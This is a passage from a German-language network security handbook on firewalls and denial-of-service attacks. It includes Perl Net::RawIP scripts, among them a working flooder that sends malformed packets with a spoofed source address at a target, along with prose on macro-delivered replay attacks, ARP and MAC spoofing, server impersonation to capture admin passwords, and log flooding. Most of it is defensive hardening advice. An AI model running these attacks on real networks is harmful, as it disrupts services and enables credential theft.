my @ar = $a->get({ip => [qw(ttl)], icmp=>[qw(sequence
data)]});
printf("%u bytes from %s: icmp_seq=%u ttl=%u time=%5.1f
ms\n",length($ar[2])+8,
,$ARGV[0],$ar[1],$ar[0],($time-$ar[2])*1000);
}
Das folgende Skript ist völlig harmlos, es fragt nur die Flags des TCP Stacks ab. Sie können es dazu verwenden, das Betriebssystem hinter einer Firewall zu bestimmen, allerdings nur, wenn diese keinen eigenen TCP/IP Stack besitzt, bzw. die Pakete als Stateful Paket Filter (SPF) einfach nur an die andere Seite durchreicht. Probieren Sie einfach einmal einige FTP Server aus, und Sie werden bemerken, wie unterschiedlich Firewalls arbeiten, und sozu sie eventuell nicht taugen ..... sondern einfach nur viel Geld kosten.....
#!/usr/bin/perl
# Simple script for educational purposes
# It prints to STDOUT flags tcp packets from ftp server and client
use Net::RawIP;
require 'getopts.pl';
Getopts('i:d:n:');
die "Usage $0 -i <ftp server> -d <eth device> -n <number packet for receive>"
unless ($opt_d && $opt_d && $opt_n);
print "Now please login to your ftp server\n";
@flags = qw/URG ACK PSH RST SYN FIN/;
$filter = "dst host $opt_i and dst port 21";
$filter1 = "src host $opt_i and src port 21";
$psize = 1500;
$device = $opt_d;
$timeout = 500;
if(fork()){
$a = new Net::RawIP;
my $pcap = $a->pcapinit($device,$filter,$psize,$timeout);
loop $pcap,$opt_n,\,\@a;
}
else {
$b = new Net::RawIP;
my $pcap = $b->pcapinit($device,$filter1,$psize,$timeout);
loop $pcap,$opt_n,\,\@a;
}
sub cl {
$a->bset(substr( $_[2],14));
my @fl = $a->get({tcp=>
[qw(psh syn fin rst urg ack)]
});
print "Client -> ";
map { print "$flags[$_] " if $fl[$_] } (0..5);
print "\n"
}
sub sv {
$b->bset(substr( $_[2],14));
my @fl = $b->get({tcp=>
[qw(psh syn fin rst urg ack)]
});
print "Server -> ";
map { print "$flags[$_] " if $fl[$_] } (0..5);
print "\n";
}
Das folgende Beispiel funktioniert eventuell auf einigen UNIX'en nicht, darunter LINUX 2.2 und BSD UNIX'e. Der Grund ist folgender: Die Distributoren haben sich darauf geeinigt, daß der Schaden von irgendwelchen Lamern groß genug sei. Im Kernel von UNIX, LINUX 2.2, NT und Windows 95/98 Service Packs wurde also ein Prüfsummencheck eingebaut, der verhindert, daß solche bösartigen Pakete die Netzwerkkarte/ISDN Karte verlassen. Unter LINUX müssen Sie im Kernel den direkten Zugriff auf das Netzwerkdevice im Kernel aktivieren: Config Paket Socket=Y, Config Netlink Socket=Y. Damit haben dann sogar einfache User direkten Zugriff auf die Netzwerkkarte....Systemadministratoren also aufgepasst ! Diese Option sollte man stets deaktiviert haben, ansonsten können Nutzer von CGI-BIN's von Ihrem WWW-Server aus diese Angriffe ausführen....was sicher zu Ärger führt...
Bei dem folgenden Beispiel dürfen Sie nun selber raten, welcher Angriff hier ausgeführt wird. Beachten Sie hierzu die Möglichkeiten, die saddr zu verändern und die TCP/IP Flags zu variieren.....
#!/usr/bin/perl
require 'getopts.pl';
use Net::RawIP;
Getopts('t:n:');
die "Usage $0 -t <ip of the target> -n <thousands of the
times>" unless ($opt_t && $opt_n);
@data = split (//,"0"x20);
$p = new Net::RawIP({
ip => {
ihl => 11,
tot_len => 44,
tos => 0,
ttl => 255,
id => 1999,
frag_off => 16383,
protocol => 17,
saddr => '1.1.1.1',
daddr => $opt_t
},
generic => {}
});
$p->optset(ip => { type => [@data] , data => [@data] });
$p->send(0,$opt_n*1000);
Um es nochmals klarzustellen: Diese Angriffe werden inzwischen von vielen Betriebssystemen, Routern und Firewalls erkannt. Probieren Sie diese Angriffe ausschließlich auf Servern in einem isolierten Netzwerk. Gerade Pakete, die fehlerhafte Prüfsummen generieren, bringen innerhalb einer Collision Domain viele TCP/IP Stacks von Arbeitsstationen oder insbesondere auch Netzwerkdruckern zum Absturz. Alle diese Pakete lassen sich z.B. auch mit der Broadcast Adresse 255.255.255.255 als Zieladresse oder mit Multicast - Adressen (224.255.255.255) generieren. Diese werden dann eventuell auch in benachbarte Netze übertragen, weil eventuell ein VLAN - Switch diese überträgt. Konfigurieren Sie Ihre Router im Intranet also stets so, daß die Broadcast Domains möglichst klein bleiben. Leider könnet es dann passieren, daß Windows NT PDC's und BDC's in großen Netzwerken nicht mehr korrekt funktionieren. Entweder man setzt dann in jeder Abteilung Firewalls ein, die einen eigenen TCP/IP Stack besitzen, oder man schafft NT Server im Unternehmen einfach ab.....(Man merkt sicher, daß ich Microsoft Liebhaber bin ...aus Schaden wird man klüger ...)
Ein weiteres Beispiel für einen möglichen Angriff auf z.B. die MS SQL 7.0 Datenbank in Backoffice wird in dem Kapitel backoffice beschrieben. Hier nun eine Darstellung, wie man Visual Basic für einen sogenannten replay attack verwenden kann.
Es gibt die Möglichkeit, über Visual Basic Makro´s in Winword oder Excel Angriffe auf Server im Intranet zu starten. Es ist klar, daß man in einem solchen Makro nicht PERL mit den net::rawip Erweiterungen unauffällig verstecken kann. Man kann jedoch ein Netzwerk aufbauen, welches dieselben IP-Nummern besitzt, wie das zuvor mit Hilfe eines WWW-Server ausgekundschaftete Intranet des Unternehmens (Siehe z.B. http://www.little-idiot.de/cgi-bin/test.cgi). Danach werden die TCP/IP Pakete des Angriffs mit einem Sniffer aufgezeichnet. Dieser ist z.B. im Paket von Darren Reed enthalten. Damit kann man 1:1 die Pakete aufzeichnen, und für einen sogenannten replay attack sichern. Danach verpackt man die Pakete in die bekannten DATA Zeilen in Basic. Da ein Angriff auf einen TCP/IP Stack nur wenige entscheidende Bytes enthalten muß, kann dieses BASIC Makro sehr klein gehalten werden. Nun muß man dieses Makro nur noch in WINWORD oder EXCEL Paken, und einem Mitarbeiter der Firma zuschicken. Dieser liest das Winword Dokument, und im gleichen Moment stehen die Server im Unternehmen oder auch hunderte von Arbeitsstationen still.
Wenn man sich die Website http://www.netcraft.com/security/diary.html mit besonderem Augenmerk auf Firewall-1 einmal anschaut, dann wird einem eventuell klar, daß hier Legionen von hochbezahlten Security Consultants jahrelang trotz teurem Auditing keine Fehler bemerkt haben sollten !. Diese z.B. auf der Website http://www.securityfocus.com erwähnten, äußerst einfachen Angriffe (UDP Paket auf Port 0 fürt bei Solaris und Firewall-1 zu einem DoS!), sind jahrelang nicht bemerkt worden. Wenn man sich dabei vorstellt, daß jemand mit etwas Geduld und gespooften Paketen ein Unternehmen oder ein Warenhaus im Internet wochenlang oder monatelang vom Netz nehmen kann, ohne entdeckt zu werden, dann kann einem schon etwas mulmig werden.
Themen
Es gibt eine ganze Reihe weiterer Angriffe, die etwas mehr Erfahrung seitens des Angreifers erfordern, als die alleinige Anwendung einiger Skripte.
Beispiele findet man auf der Site http://www.securityfocus.com (Nachfolger von GEEK-GIRL.COM), wo z.B. ein DoS Attack auf NAI Gauntlet Firewall 5.0 beschrieben ist. Dies ist genau so ein Fall von kombinierten Paketen, wo ein IP-Paket in ein ICMP Paket verpackt wurde. Das Paket vom Typ ICMP 12 ist schon oben in der Liste erwähnt, allerdings nicht in Kombination mit einem darin eingepackten IP-Paket. Business is war - nach diesem Motto werden immer mehr ISP´s und SHOP-Anbieter Opfer von massiver DoS-Angriffen. Da das business to business Geschäft stark wächst, trifft es hier insbesondere den Großhändler oder ISP hart.
Während die DoS-Angriffe über den TCP/IP-Stack durch den Einsatz von leistungsfähiger Hardware und hochwertigen Firewalls recht zuverlässig abgewehrt werden können, so ist zur Abwehr der folgenden Angriffe erheblich mehr KNOW-HOW notwendig.
Hierzu sind interne Informationen über das zu schützende Serverbetriebssystem notwendig, um entsprechendes fine tuning vornehmen zu können. Genaue Kenntnisse über Timeout-Verhalten, TCP/IP-Stack, RAM-Verbrauch, Bandbreite u.s.w. erst erlauben es, einen Server zuverlässig zu betreiben.
Themen
Fast alle Betriebssysteme lassen sich mit massiven "echten" Verbindungsanforderungen an den Rand der Leistungsfähigkeit bringen. Beispielsweise kann man mit wenigen Hundert FTP- oder POP3/IMAP4-Verbindungen einen Server ans Swappen bringen. Die Antwortzeiten steigen schnell an, und nach ein paar Minuten ist der Server in einem Zustand, daß er neu gebootet werden muß.
Es ist also gerade bei mission critical Systemen wichtig, daß RAM-Verbrauch je offener TCP/IP-Verbindung und Prozeß auf das zur Verfügung stehende RAM abgestimmt wird. Einzelne Dienste müssen in ihrer Zahl begrenzt werden. In vielen Fällen sind auch die Timeout-Zeiten, z.B bei abgebrochenen FTP-Verbindungen, zu lang, sodaß vom TCP/IP-Stack unnötig RAM verbraucht wird.
Die maximale Zahl der »halboffenen« Verbindungen muß angepaßt werden, und zwar im Kernel des Servers und der Firewall. Gerade bei mission critical Systemen ist es unerläßlich, daß man genaue Kenntnisse über timeout Zeiten, RAM-Verbrauch, maximale Zahl der Verbindungen u.s.w. der Firewall und des Servers hat.
Aus diesem Grund werden große Server ausschließlich mit FreeBSD oder NetBSD betrieben. (www.cdrom.com, www.yahoo.com, www.lycos.com, www.netscape.com, www.tucows.com und viele weitere....). Deren Last liegt bei ca. 200 GByte am Tag und bei durchschnittlich 3500 simultanen Verbindungen, zumeist File-Downloads.
Themen
Firewalls erzeugen in manchen Fällen erhebliche Mengen an Logfiles, besonders dann, wenn gegen irgendeine Regel verstoßen wird.
So kann ein Angreifer mit ganz wenigen Paketen über eine langsame Anbindung, z.B. ISDN einen Datenstrom von der Firewall zum Logserver hin erzeugen, der nahe der Belastungsgrenze einer Ethernet-Anbindung liegt. Der Multiplikator kann bis zum ca. 200 - fachen der Bandbreite des Angriffspaketes betragen, also bei ISDN (8 KByte) kann ein Angriff für einen Bandbreite von bis zu 1.6 MByte pro Sekunde zwischen Firewall und Logserver sorgen, wenn nicht besondere Maßnahmen ergriffen werden.
Findige Firewall - Hersteller haben daher intelligente Mechanismen eingebaut, die z.B. Mehrfachmeldungen eines oder mehrerer Verstöße nur noch einmal aufzeichnen. Angreifer kennen natürlich die Log-Strategien fast aller Hersteller und sind so in der Lage, mit RANDOM-Angriffen verschiedenster Art eine Firewall und/oder deren Logserver an den Rand der Leistungsfähigkeit zu bringen. Bei 2 Mbit+ Internet-Anbindungen ist die Menge der Log-Einträge sicher das größte Problem von allen.
Viele Hersteller behelfen sich durch Log - Rotation, d.h ein Angriff wird immer mitgeschnitten und, falls die Festplatten voll sind, wird von vorne angefangen. Für einen Angreifer bedeutet dies aber, daß er ohne Gefahr entdeckt zu werden, beliebige Angriffe starten kann. Er weiß, daß er nach den Angriffen den Logserver wieder überschwemmen kann. Die wahren Dokumente seiner Untaten verschwinden dann unter belanglosen Meldungen. Massive Angriffe müssen daher unbedingt mit proaktiven counter intelligence Maßnahmen bekämpft werden, und zwar hin bis zu einem DoS-Angriff, der von der Firewall selber gegen den Host des Angreifers ausgeführt wird. Die Größe derjenigen Platte, die die LOG-Files speichert, sollte ein vielfaches derjenigen Größe betragen, die ein bis zu 72 Stunden lang dauernder Beschuß mit bekannten Toolkits verbraucht.
Nur eine einzige kommerzielle Firewall verhält sich im Fall, daß kein freier Speicherplatz mehr zur Verfügung steht, korrekt und sperrt alle Interfaces - DEC Firewall. Für einen ISP ist das aber sicher nicht die korrekte Lösung.
Themen
PROXY-Filter, die auf Anwendungsebene filtern, sollten nicht Bestandteil der Firewall sein. Das hat mehrere Gründe.
Filter erfordern einen hohen Aufwand an CPU Leistung und können außerdem WWW , FTP, SMTP und SQL Server meist nicht vor buffer overflow Angriffen schützen. Hierzu muß man in Kenntnis der genauen Sicherheitslücken auf dem Zielserver sein, um einen wirksamen Filter programmieren zu können. Kennt man diese aber, so ist es sicher einfacher und sinnvoller, diese auf dem Zielserver selber zu korrigieren, ein Filter ist dann nicht mehr notwendig.
Für den Betrieb von mission critical Systemen ist es notwendig, Fehler schnell analysieren und korrigieren zu können. Wer zum Schutz vor DoS-Angriffen seines Betriebssystems erst auf die angepaßten Filter des Firewallherstellers warten muß, riskiert, daß wochenlang der Server immer wieder von Angreifern stillgelegt wird. Falls der Quellcode des Betriebssystems nicht vorliegt, ist es dann notwendig, separate Filter in den Datenstrom zu integrieren.
Da Filter selber ebenfalls Ziele von buffer overflows sein können, sollten diese immer auf einer dedizierten Hardware laufen, und von zwei Firewalls gesichert werden.
Leider vergessen die Hersteller von Firewalls immer wieder, zu betonen, daß ihre Firewalls nicht Schutz gegen Fehler auf Anwendungsebene (application level) von Serverbetriebssystemen sein können. Sie besitzen zwar Filter, um bestimmte Befehle z.B. in FTP-Servern (remote site exec) zu sperren, weil diese in der Vergangenheit immer wieder zu Problemen unter UNIX geführt haben, können jedoch dann mögliche buffer overflows bei der Parameterübergabe an die übrigen Befehle nicht verhindern. Sie behelfen sich daher mit einer pauschalen Längenbegrenzung für übergebene Parameter, die aber meist so groß gewählt wurde, daß in der Praxis keine Probleme mit Datenbanken u.s.w. gibt. Da buffer overflows recht kurz sein können, ist diese Filterung kein Garant. Firewalls, insbesondere SPF´s sind vor ihrer Architektur her nicht dafür geeignet, Fehler in Betriebssystemen vor Angreifern abzuschirmen, obwohl sie es nach entsprechender Programmierung (mit Hilfe einer leistungsfähigen Programmiersprache) können. Für Firewall-1 z.B. lassen sich diese Filter nachrüsten, sie müssen aber teuer bezahlt werden, stammen aber alle aus der knowledge base für Händler von Checkpoint in Israel. Preisverleiche lohnen sich daher.
Neuentdeckte Fehler in Betriebsystemen hinter einer Firewall (z.B. Windows NT 4.0 und IIS WWW-Server) müssen erst auch bei dem Hersteller der Firewalls erkannt und in Filter einprogrammiert werden. Bis dann ein Update erfolgen kann, ist mitunter mindestens eine Woche vergangen. Für Betreiber von mission critical Systemen ist diese Zeit viel zu lange.
Mit Hilfe der Werkzeuge von Darren Reed (IPFILTER) gelingt es binnen weniger Stunden, den Fehler mitzuprotokollieren und zu analysieren. Die Programmierung eines Filters, z.B. mit PERL ist dann nur noch eine Aufgabe der Anpassung bestehender Filter. Wer mehr bedarf an Lösung dieser Probleme hat, sollte sich das Modul Net::RAWIP für PERL und FreeBSD anschauen. Genial einfach und - kostenlos!
Themen
Kleinere Provider haben Kundenserver auf einer "collision domain" gemeinsam angeschlossen. Ist ein speziell ins Auge gefaßter Server bei diesem Provider nicht verletzlich, so benutzt ein Angreifer weitere Tricks.
Häufig findet sich dort zumindest ein Server, der verletzbar ist, oder es ist möglich, nach Absprache mit dem Provider für einige Tage "probeweise" dort einen Server aufzustellen.
Mit Hilfe dieses Servers läßt sich dann ein mit dem Zielserver identischer Server aufbauen, der dann über ständige DoS-Angriffe den Ur-Server stilllegt, und somit seinen Platz übernehmen kann. Es dauert nur wenige Tage oder Stunden, bis der Systemadministrator versucht, sich einzuloggen. Über einen präparierten Login-Dämon, der jedes Paßwort erlaubt, bemerkt der Systemadministrator nicht, daß er in Wirklichkeit auf einem fremden Server eingeloggt ist. Da das "echte" Paßwort nun verloren ist, kann der Probeserver nun wieder abgebaut werden. Selbstverständlich reicht auch ein einfaches "sniffen" auf einem der Ports für die Fernwartung.
Etwas schwieriger wird es, wenn der Provider einen Switch oder "switching hub" aufgestellt hat, und somit Kundenserver voneinander trennt. Ein Mitprotokollieren von Paßworten für Netzwerkserver ist dann nicht mehr möglich.
Trickreicher ist dann das sogenannte "mac spoofing" (Siehe oben) Hierbei erfolgt ein DoS-Angriff auf das Target und eine Übernahme der MAC-Adresse durch den benachbarten Server. Der Switch behält normalerweise 3 Informationen über einen Server, dessen IP - Nummer, dessen MAC-Nummer und den Port, an dem das Netzwerkkabel eingesteckt ist. Nach dem Angriff bemerkt der Switch nur, daß IP - Nummer und MAC-Adresse auf einen anderen Port gewechselt haben - von nun an kann man fleißig Paßworte mitprotokollieren, mit denen der Angreifer später in den Zielserver hineinschauen kann.
Die bei Povidern eingesetzte "ping" Überwachung, die dem Systemadministrator meldet, ob ein Server evtl. abgestürzt ist, kann einen solchen Angriff nicht bemerken. Auch Kontrollen auf MAC-Ebene können diese Art von Angriff nicht zuverlässig entdecken. Seriöse Provider setzen Switching-Router ein, auch wenn dies erheblich mehr Aufwand kostet, als ein Switch. (Tip: LINUX-Firewall-Router mit 4xNetzwerkkarten pro PCI-Slot = 16 Port-Firewall-Router) Ohne diesen Aufwand sollte ein seriöser Anbieter von Einkaufs-Shop's mit Zertifikat und Verschlüsselung niemals ans Netz gehen.
Themen
Es ist möglich, daß eine Maschine ARP-Antworten fälscht, um so den Datenverkehr auf sich selbst umzulenken. Dadurch kann diese Maschine sich für einen anderen Host ausgeben oder Datenströme selbst modifizieren. Insofern ist ARP nur sicher, solange ausschließlich vertrauenswürdige Maschinen auf dem lokalen Datennetz senden können.
Um solche Attacken zu vereiteln, können zum Beispiel ARP-Tabellen fixiert und das automatische Ablaufen von ARP unterbunden werden. Ist ein Anfreifer erst einmal in ein Unternehmen vorgedrungen, so gilt es schnellstmöglich den Logserver außer Betrieb zu setzen. Er wird mit Sicherheit zuerst durch ARP-Manipulationen den Log-Server oder die Firewall dazu bringen, seine Logfiles nicht mehr an den ursprünglichen Logserver zu versenden, sondern z.B. an sich selber, einen Server im Internet, oder irgendeinen anderen Server im Netz. In diesem Falle würden wichtige Informationen, z.B. über Einbrüche nicht an einen LOG-Server oder E-Mail-Server, sondern an sich selber gesendet, wenn der ARP-Cache der Firewall diese Manipulation (2 IP - Nummern, 2 MAC Adressen) nicht erkennt.
Das ist leider noch bei vielen Betriebssystemen, die Router oder Firewalls tragen, der Fall. Auf diese Art und Weise werden besonders wichtige Server eines Unternehmens stillgelegt, ohne auch nur die geringsten Zugriffberechtigungen auf diesem Server gehabt zu haben. Insbesondere bei Windows NT 4.0 ist der Befehl "arp" zwar vorhanden und dokumentiert, jedoch nicht im Betriebssystem korrekt implementiert. Es ist also schon allein aus diesem Grunde nicht egal, auf welchem Betriebsystem eine Firewall installiert ist.
Server sollten stets mit statischen ARP-Tabellen (siehe bootpd) gefüttert werden, die durch einen separaten ARP-Cache Dämon ergänzt werden. Insbesondere in großen Netzwerken sind dauernde ARP-Broadcasts des Servers nicht nur eine erhebliche Netzwerkbelastung, sondern auch ein Sicherheitsproblem auf der Hardware-Ebene der Netzwerkkarten.
Server und Firewallbetriebssysteme sollten nur mit Netzwerkkarten ausgerüstet werden, bei denen die Hardwareadresse nicht verändert werden kann. Leider sind auch manche ARP-Caches flutbar, sodaß dieses evtl. auch einen ARP-Dämon für einen DoS-Angriff anfällig macht.
Generell sollten in Unternehmensnetzwerken Netzwerkkarten mit großem ARP-Cache eingesetzt werden, es entlastet das Netzwerk erheblich durch weniger ARP-Broadcasts.
Wissend, daß MAC-Adressen, ARP-Caches und IP - Nummern gespooft werden können, sollten in größeren Unternehmensnetzwerken generell Router, Firewall-Router oder Level 3/4 Switches zum Einsatz kommen. Dieses ermöglicht darüber hinaus noch eine Komplettüberwachung über den Datenverkehr und erschwert die Industriespionage, bzw. verhindert diese wirksam. Daher soll ARP durch neighbour discovery - ein neues Protokoll basierend auf ICMP - ersetzt werden.
Alternativ sollte man mit statischen ARP-Tabellen arbeiten (ARPD), was natürlich einen erhöhten Pflegeaufwand bedeutet.
VLAN´s werden gerne in größeren Unternehmen eingesetzt, um verschiedene Abteilungen voneinander abzutrennen. Hierzu werden oft Switches eingesetzt, die dann die einzelnen Netzwerkstränge durch VLAN´s logisch voneinander trennen. Jeder Netzwerkstrang erhält dann seine eigene Netzwerkadresse. Die Arbeitsstationen im einem VLAN können mit denjenigen anderer VLAN´s gewöhnlich nicht mehr kommunizieren. VLAN´s bilden eine Broadcast Domain, sodaß alle Broadcasts an Arbeitsstationen im VLAN nicht in andere VLAN´s übermittelt werden. Hierzu erhält im Prinzip jeder Netzwerkstrang seine eigene Gateway-Adresse vom Switch zugeteilt, so, als ob hier der Switch als Router arbeiten würde. Leider gibt es hier ein größeres Problem. Gespoofte Pakete, also Pakete mit vorgetäuschter Adresse aus einem anderen VLAN lassen sich immer noch an Hosts in anderen Netzwerken senden. Auch wenn von dort keine Antwortpakete zurückkommen, ist immer noch ein DoS Angriff auf den TCP/IP Stack von Hosts möglich. Da der Switch über einen eigenen TCP/IP Stack verfügt, sind viele der TCP/IP DoS Angriffe auf den Stack des Switches möglich.
Themen
Ist ein Angreifer mit einem trojanischen Pferd erst einmal in ein Netzwerk vorgedrungen, hat er großes Interesse, nicht nur den unmittelbaren Netzwerkverkehr, sondern auch den Verkehr in anderen Subnetzen des Unternehmens abzuhören.
Nichts liegt also näher, z.B. ein geeignetes Werkzeug (UNIX/NT) als Filter und Router gleichzeitig zu gebrauchen. Dazu muß er die dynamischen Einträge von Routern im Unternehmen so manipulieren, daß diese sämtliche Pakete über den UNIX/NT-Server schicken(MITM-Problem). Diese Pakete kann er dann nach Paßworten durchsuchen und hat nach kurzer Zeit mit hoher Wahrscheinlichkeit Zugang zu weiten Bereichen des Unternehmens. Es gibt eine Reihe von Möglichkeiten, Standardmechanismen des Routings anzugreifen.
Am einfachsten ist, die Option zur freien Senderwegwahl von IP - loose source route - zu nutzen. Der Initiator einer TCP-Verbindung kann damit eine explizite Route zum Ziel angeben und den üblichen automatischen Routing-Vorgang umgehen. Die einfachste Verteidigung gegen einen solchen Angriff ist, Pakete mit Loose-Source-Route-Option abzuweisen.
Der Rückweg einer Route ist aus Sicherheitssicht besonders wichtig. Kann nämlich ein Angreifer die Routing-Strategien unterwandern, so kann er sich dem angegriffenen Host gegenüber als ein vertrauenswürdiges System ausgeben. In diesem Fall versagen Authentisierungsmechanismen, die sich allein auf die Verifikation von Quelladressen verlassen.
Da RIP als Informationsträger UDP verwendet, ist es recht einfach, gefälschte RIP-Nachrichten ins Netz einzuschleusen. Befindet sich der Host des Angreifers näher am Ziel als das Quellsystem, so kann er den Datenverkehr leicht umlenken.
Ein weiteres Problem ist die Fernwartung via SMNP V1 und V2. Eine Authentisierung in SNMP erfolgt über das sogenannte Communitiy-Konzept. Eine Community ist eine Menge von Managern, die auf einen gegebenen Agenten in gleicher Weise zugreifen dürfen. Die Community hat einen Namen (community string), der gleichzeitig als Paßwort dient und bei allen Operationen angegeben werden muß. Alle Manager, die zu einer Community gehören, verwenden denselben community string. Dabei läuft dieser ungeschützt übers Netz. Kann also ein Angreifer den community string abhören, so kann er sich als Manager ausgeben und z.B. Router zu seinen Gunsten konfigurieren. Router sollten so konfiguriert werden, daß sie wissen, welche Routen auftauchen dürfen (statisches Routen).
RIP ist ein Dienst auf Basis von UDP. RIP-Server überwachen Port 520 auf Broadcasts anderer Server und Anfragen von Clients. RIP-Server senden ihre Broadcasts gewöhnlich auf Port 520. Es sollten also Subnetze in größeren Unternehmen nicht nur durch Router, sondern besser durch Firewalls abgesichert werden, da UDP als verbindungsloses Protokoll einem »hijacking« Angriff nicht standhält. Mit FreeBSD/LINUX läßt sich eine solches System billig aufbauen (ARPD, IPFW, ROUTED). Der Einsatz von OSPF ist zwar über eine Paßwortauthentifizierung abgesichert, aber auch diese lassen sich "ersniffen", genauso wie der community string in SMNP, oder dem Telnet-Paßwort.
Router sollten alle via WWW-Browser mit SSL-Verschlüsselung administrierbar sein. Man sollte die Wichtigkeit der Sicherheit und Nichtmanipulierbarkeit von Routern niemals unterschätzen, sie bilden das Rückgrat sämtlicher Kommunikationswege im Unternehmen. Da inzwischen frei verfügbare Angriffswerkzeuge im Internet existieren, sollte man auch die Gefahr eines DoS-Angriffs durch interne Mitarbeiter berücksichtigen. Schließlich kann die "Umprogrammierung" eines Routers im Unternehmen einem Angreifer sämtliche Paßworte der Server eines anderen Unternehmenszweiges in die Hände spielen.
Themen
In jüngster Zeit werden Firewalls mit Filtern gegen Active-X und JAVA sowie gegen Viren ausgeliefert. Über die Gefahren findet sich ein guter Beitrag beim http://www.bsi.bund.de
Einige dieser Filter sortieren alles aus, andere Prüfen in einer Sicherheitsumgebung anhand einiger Kriterien, ob ein solches Programm gefährlich ist, und geben es erst dann frei. Diese Filter existieren sowohl für Firewalls als auch für den Desktop-Rechner. Abgesehen davon, daß diese nachweislich nachlässig prüfen und somit nicht zu empfehlen sind, stellen diese Filter für Angreifer aus besonderem Grunde kein Hindernis dar.
Es existieren Bytecodes, die einen solchen Filter unweigerlich zum Absturz bringen (ähnlich Intel f00fC7C8).
Sie überlasten z.B. bei der Überprüfung eines 500KByte großen ZIP-Files, welches beim Extrahieren auf das Tausendfache anwächst, das System. Spätestens nach dem X-ten Male muß sich der Systemadministrator entscheiden, ob er für unbestimmte Zeit das Unternehmen vom Internet abtrennt, oder ob er das Risiko eingeht, diese Filter abzuschalten.
Angesichts dringender Geschäftsinteressen und unter Druck wird er wohl kaum den Internet-Anschluß stillegen, sondern eher den Filter deaktivieren.
Gerade unter NT fangen viele Systembetreuer bei Fehlfunktionen hektisch an, umzukonfigurieren und immer wieder neu zu booten. Das verschafft dem Angreifer zumindest ein paar Tage Zeit, weitere Hürden in Angriff zu nehmen. Genau hierin liegt der Unterschied zwischen UNIX und NT. Wenn unter UNIX Programme abstürzen, dann ist es definitiv die Hardware. Bei dem Einsatz von NT ist keine genaue und schnelle Diagnose möglich, da einfach in der Vergangenheit zu viele Fehler auftraten und Microsoft die Quellcodes geheimhält. Jede Art von Filter ist ein weiteres Stück Software, welches anfällig gegen DoS-Angriffe ist. Die Logik einiger Sicherheitsfilter iche Software, die erwiesenermaßen fehlerhaft arbeitet, in ein sicheres System verwandeln kann........ Das zeigen auch unabhängige Untersuchungen. Während z.B. die IBM AS/400 nur 5 Stunden Downzeit/Jahr hat, wurde NT mit über 250 Stunden unplanmäßiger Downzeit angegeben.
Themen
Ein TCP/IP-Stack hat nicht nur alle die Kombinationen legaler und illegaler TCP/IP-Pakete und Flags zu erkennen, und diese an die Betriebssystem-Dienstprogramme zu übergeben, sondern auch o.g. Angriffe abzuwehren. Durch die unglaublich hohe Zahl an Kombinationsmöglichkeiten sind zahlreiche Fallunterscheidungen notwendig. Zweideutigkeiten und eine mögliche Überlagerung verschiedenster Pakete erschweren die korrekte Analyse des Inhaltes der Pakete.
Zusätzliche Forderungen nach Echtzeitverhalten bei Übertragungsraten von 10/100/1000 MBit stehen im Gegensatz zu den Anforderungen im Internet. Es müssen hier auch noch langsam eintreffende, fragmentierte Pakete im Stack solange zwischengelagert werden, bis diese reassembliert werden können. Gleichzeitig müssen aber auch schnell eintreffende Pakete verarbeitet, übergeben und beantwortet werden (fast retransmit, slow start, congestion avoidance, fast recovery (RFC 2001,813, 896)slow start-Mechanismus).
Moderne Kernel führen zusätzliche Statistiken über die Latenzzeiten zu bestehenden IP-Verbindungen (RTT), und regeln so differenziert die Zeiten der maximalen Verweildauer von TCP/IP-Paketen im Stack.
Ohne Differenzierung würden entweder langsame Verbindungen verworfen, oder der Kernel gegen DoS-Angriffe verletzbar werden. Der BSD 4.4 TCP/IP-Stack (BSD UNIX, OS/2) ist ein Garant für hohe Serverleistung, z.B. für "mission critical" Aufgaben im Internet, wo höchst unterschiedliche Bandbreiten auf einmal auftreten. BSD Stacks wurden in der Reihenfolge ihrer fortschreitenden Entwicklung mit "Tahoe", "Reno" und "Vegas" bezeichnet. Bei Geschwindigkeitstest der einzelnen Betriebssysteme werden immer wieder mit Hilfe von Benchmarks auf WWW-Server die Geschwindigkeit von Serverbetriebssystemen und deren WWW-Servern getestet. Windows NT 4.0 erreichte hier überdurchschnittliche Werte bei den Antwortzeiten, fiel jedoch durch eine hohe Fehlerrate auf, OS/2 Warp glänzte mit konstanten, jedoch langsameren Responsezeiten, lieferte die Daten aber auch ohne jeden Fehler aus.
Die im Labor ermittelten Werte lassen sich jedoch keinesfalls mit den realen Anforderungen im Internet oder Unternehmensnetzwerk vergleichen.
In der Praxis ist OS/2 um ein vielfaches stabiler und schneller, als NT 4.0, welches die unerfreuliche Eigenschaft hat, ab ca. 30 simultanen Verbindungen völlig einzubrechen.
OS/2, SUN Solaris, FreeBSD, NetBSD, BSDI und OpenBSD besitzen zuverlässige, moderne TCP/IP-Stacks, die den unterschiedlichen Anforderungen besonders im Internet und großen Unternehmen besser gerecht werden.
Umfangreiche Tuning - Möglichkeiten ergänzen diese positiven Eigenschaften. Für die Auswahl von Betriebssystemen für Firewalls ergeben sich folgende Konsequenzen: Für Firewalls mit vollständig eigenem TCP/IP-Stack ist die Wahl des Betriebssystems egal, da es nur als Administrationswerkzeug und Fileserver für die Log-Einträge dient.
Firewalls mit teilweisem oder ohne eigenen TCP/IP-Stack sollten vorzugsweise auf UNIX mit BSD 4.4 oder SUN Solaris installiert werden.
Für Hochleistungs-Firewalls mit mehreren Prozessoren und GBit oder ATM Karten sollte berücksichtigt werden, daß das Timing-Verhalten bei schon 100 MBit Übertragungsrate durch die Parallelisierung der Threads des TCP/IP-Stacks erhebliche Probleme mit sich bringen kann. So passiert es häufig, daß Systeme mit mehreren Prozessoren und Interfaces weitaus störungsanfälliger sind, als Server mit bewährten 10 MBit Interfaces und einem Prozessor (Beispiel: SUN ATM, Windows NT). Für mission critical Firewalls sind Einprozessorsysteme die bessere Wahl. Insgesamt kenne ich kein System, welches als Mehrprozessorsystem ähnlich stabil wäre. Wenn überhaupt, dann könnte man Solaris und OS/2 als stabil und schnell bezeichnen, NT mit mehreren Prozessoren ist eine Katastrophe. Viele Patches, die DoS Angriffe auf Einprozessorsysteme verhindern, funktionieren nicht auf Mehrprozessorsystemen. Der Grund liegt in der Verwaltung des TCP/IP Stacks mit vielen Threads, was zu ungeheuren programmiertechnischen Schwierigkeiten führt. Daher sind viele TCP/IP Stacks nicht mehrprozessorfähig, auch wenn die Werbung behauptet, das ganze Betriebssystem wäre für mehrere Prozessoren ausgelegt. Diese Schwierigkeiten wurden z.B. unter hoher Last bei Solaris/NT mit ATM Karten an der Universität zu Köln von Axel Clauberg festgestellt und veröffentlicht.
|
|
Online Suche im Handbuch | LITTLE-IDIOT NETWORKING |